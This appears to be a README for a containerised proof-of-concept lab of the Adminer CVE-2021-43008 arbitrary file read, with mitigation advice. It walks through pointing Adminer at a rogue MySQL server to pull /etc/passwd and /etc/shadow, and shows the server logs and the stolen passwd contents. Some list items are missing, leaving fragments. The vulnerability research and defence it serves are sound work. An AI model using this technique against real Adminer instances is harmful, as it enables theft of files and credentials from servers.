
Environnement de démonstration pour la vulnérabilité CVE-2021-43008 d’Adminer : observer l’impact réel et tester des mesures de mitigation.
Adminer is a web tool (PHP) for easily administering MySQL, PostgreSQL, SQLite or SQL Server databases. It is commonly deployed as a lightweight alternative to phpMyAdmin.
Affected versions: Adminer ≤ 4.6.2
Adminer allows connection to any remote MySQL server. When connecting to a MySQL server, the client (here Adminer) accepts:
Adminer does not properly validate MySQL server responses in vulnerable versions.
Result: An attacker-controlled MySQL server can request:
"Read this local file on the machine or container hosting Adminer and send it to me."
This mechanism is related to the MySQL packet:
0xFB | filename → triggers local file reading.
Adminer 4.6.2 allowed a user to specify an external MySQL server and connect to it freely. However, MySQL also allowed — by default — the use of:
LOAD DATA LOCAL INFILEThus: Adminer → connects to malicious server → malicious server requests a file → Adminer sends it.
This is the essence of the vulnerability.
The attacker must:
LOAD DATA LOCAL INFILE packet.No root password is required to exfiltrate a local file: Adminer performs the action as a PHP application on the target server.
The attacker can:
With the stolen MySQL credentials (secondary step), they can then:
The PoC is performed in an isolated and containerized environment to avoid any risk.
localhost:80800xFB filename packets to force Adminer to read a local file.adminer_CVE-2021-43008/
│
├── README.md
├── docker-compose.yml
│
└──rogue_mysql_server/
├── rogue_mysql_server.py
├── requirements.txt
└── Dockerfile
docker compose build && docker compose up -d
In http://localhost:8080:
rogue_mysql:33306LOAD DATA LOCAL INFILE '/etc/passwd'./etc/passwd.stolen_file.txt.Use the following command to view the rogue logs:
docker logs -f rogue_mysql
Expected result:
2025-11-27 16:59:54,248:INFO:Serving on ('0.0.0.0', 33306)
2025-11-27 17:02:55,213:INFO:Conn from: ('172.18.0.3', 37200)
2025-11-27 17:02:55,214:INFO:Last packet
2025-11-27 17:02:55,214:INFO:Query
2025-11-27 17:02:55,214:INFO:Requesting file: /etc/shadow
2025-11-27 17:02:55,215:INFO:-- Received file data
2025-11-27 17:02:55,215:INFO:Result length: 1 bytes
2025-11-27 17:02:55,216:INFO:Last packet
2025-11-27 17:02:55,216:INFO:Query
2025-11-27 17:02:55,216:INFO:Requesting file: /etc/passwd
2025-11-27 17:02:55,216:INFO:-- Received file data
2025-11-27 17:02:55,217:INFO:Result length: 920 bytes
2025-11-27 17:02:55,217:INFO:File content received: 919 bytes
2025-11-27 17:02:55,217:INFO:File saved to stolen_file.txt
View the contents of the stolen_file.txt file:
docker exec -it rogue_mysql sh
Once inside the container, you can view the contents of files including stolen_file.txt
# ls
mysql.log requirements.txt rogue_mysql_server.py stolen_file.txt
# cat stolen_file.txt
Result:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
This result demonstrates the vulnerability unequivocally.
Most reliable solution: Upgrade to Adminer ≥ 4.6.3
Later versions fix the network behavior.
Starting from Adminer 4.7.x, several protections were introduced:
Adminer now disables LOAD DATA LOCAL INFILE by default
Either:
→ Result: your rogue MySQL can no longer exfiltrate files.
Adminer filters client actions before sending to the server
This prevents external connections from using dangerous functions.
Additional input validation mechanisms
New versions check:
Limit Adminer to internal hosts only:
Production Adminer should always point to an internal MySQL.
LOCAL INFILE on the MySQL sidePrevents theft via a legitimate MySQL client:
[mysqld]
local_infile=0
or:
SET GLOBAL local_infile=0;
Adminer must not be accessible on the Internet.
In production:
Adminer should be seen as a temporary tool:
CVE-2021-43008 is a critical vulnerability in Adminer ≤ 4.6.2 that allows:
This is a perfect demonstration of the importance of: